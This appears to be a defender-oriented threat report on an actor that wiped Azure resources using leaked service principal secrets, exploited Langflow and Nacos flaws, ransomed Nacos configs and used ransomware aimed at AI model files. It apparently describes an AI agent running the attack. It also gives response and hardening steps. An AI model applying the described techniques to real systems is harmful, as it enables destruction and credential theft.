Storm-3168 / JADEPUFFER: Compromised Azure Service Principals Used to Wipe Cloud Resources

• 1Pre-incident: An employee of the impacted organization pastes a service principal's client ID, client secret and tenant ID in plaintext into a public GitHub issue. The values are later edited out but remain in the issue's edit history.
• 2Hour 0: The first service principal authenticates and begins reconnaissance — 300+ successful read operations across virtual machines, subscriptions and resource groups over roughly 15.5 hours.
• 3~Hour 16: A second service principal in the same tenant enumerates VMs and resource groups across two subscriptions in about 5 seconds, then reads App Service configuration stores hunting for further credentials.
• 4Destruction window: Within a 35-minute window the second identity attempts 150+ destructive or credential-collection actions — including 100+ Storage Account deletion attempts concentrated into roughly 7 minutes.
• 5Post-destruction: 30+ successful ListKeys requests against remaining storage accounts, focused on Azure Site Recovery-related storage.
• 6After: Microsoft observed repeated probing of Azure App Service configuration endpoints across multiple customers, indicating the operator continued scanning for exposed secrets.

No exploit was needed for the Azure tenant. The operator authenticated with a service principal whose secret was published to a public GitHub issue. Editing the secret out of the issue body did not revoke it — the credential stayed valid and remained visible in the issue's edit history until it was actually rotated.

Langflow before 1.3.0 exposes /api/v1/validate/code without authentication, allowing any remote attacker to execute arbitrary Python (CVSS 9.8; on the CISA KEV catalog since May 2025). JADEPUFFER delivered every stage as Base64-encoded Python through this endpoint, then pivoted to the victim's back-end services.

The decoded Python delivered through Langflow was saturated with natural-language commentary explaining why each action was taken — the kind of running rationale a model emits, not the terse output of a hand-written tool. That commentary is itself a hunting signal: legitimate automation rarely explains its own intent inline.

In the Nacos backdoor sequence a login failed at 19:34:36 UTC. A corrective payload — diagnosing two possible causes in parallel — was issued at 19:35:07 UTC, and the login succeeded at 19:35:18 UTC. A 31-second diagnose-and-retry loop across a novel error is characteristic of an agent reasoning over live output rather than replaying a fixed playbook.

Against a Nacos configuration service (reached with CVE-2021-29441 and a forged JWT signed with Nacos's well-known default key), the operator encrypted all 1,342 configuration items using MySQL's native AES_ENCRYPT() and wrote a README_RANSOM table. The key was generated as base64(uuid4().bytes + uuid4().bytes), printed to stdout, and never persisted or transmitted — so even paying the ransom could not recover the data. Captured payloads show escalation from row-level deletes to dropping entire schemas.

ENCFORGE is a compiled Go ransomware built to encrypt model weights, vector indexes, training datasets and other AI-infrastructure files. It scans roughly 180 file extensions and exposes an --include flag so operators can append campaign-specific extensions; its own help text names LoRA fine-tune adapters and legacy GGML weights as examples — a purpose-built attack on the AI supply chain, not generic office files.

In the tenant compromise, the two leaked principals held potent roles: Storage Account Contributor (via a group), plus directly assigned Contributor and SQL DB Contributor. That combination allowed enumeration, ListKeys credential theft and mass deletion. The operator issued five OAuth tokens for the destruction principal, and at one point ran two tokens in parallel for ~70 seconds — driving concurrent delete operations to move faster than a human could.

Locks Worked

Resource locks and account-level deletion protection stopped a subset of Storage Account deletes. The controls that were in place demonstrably reduced blast radius.

Backups Were Targeted

The operator went after Site Recovery and Backup protection locks specifically — recovery infrastructure is a first-class target, not an afterthought.

Keys Over Data

Post-destruction ListKeys calls show intent to pivot with harvested storage keys, extending reach beyond the initial principals.

• 1Scope the identity: In Entra, pull the app registration / enterprise application for the suspect service principal and list all role assignments (directory + Azure RBAC across every subscription).
• 2Pull sign-ins: Filter AADServicePrincipalSignInLogs for the app-id. Note source IPs, and flag the python-requests user-agent and any overlapping token issuance.
• 3Reconstruct activity: Query AzureActivity / Resource Manager logs for the caller — separate read (Discovery) from write/delete (Impact) operations and build a timeline.
• 4Contain: Revoke the principal's credentials (rotate secret/cert), remove excess role assignments, and revoke active refresh/access tokens. Do not merely "delete" a leaked secret — rotate it.
• 5Assess destruction: Enumerate deleted resources, check soft-delete/recycle windows (Storage, Key Vault soft-delete, Recovery Services vault) and begin restores from locked backups.
• 6Hunt for spread: Review ListKeys / listKeys calls and any secrets read from App Service config; rotate every key/secret the principal could reach.

• 1Rotate anything ever exposed: Treat any secret that appeared in a repo, issue, log or ticket as burned. Removal ≠ revocation — rotate the credential and invalidate issued tokens.
• 2Least privilege for service principals: Strip standing Contributor/Owner; scope to specific resource groups; prefer managed identities and short-lived, workload-federated credentials over long-lived secrets.
• 3Protect recovery infrastructure: Apply resource locks, Storage & Key Vault soft-delete + purge protection, and immutable/locked Recovery Services vaults so a single identity cannot both destroy and un-protect.
• 4Secret scanning at the edge: Enforce push-protection secret scanning on all repos and block plaintext credentials in issues/PRs; monitor public paste and code surfaces for tenant identifiers.
• 5Patch the entry points: Upgrade Langflow to 1.3.0+ (CVE-2025-3248) and Nacos to 1.4.1+ (CVE-2021-29441); keep both off the public internet where possible.
• 6Enable cloud detection plans: Turn on Microsoft Defender for Cloud coverage for Resource Manager, Storage, Key Vault, App Service and Databases so mass-delete and ListKeys anomalies raise alerts.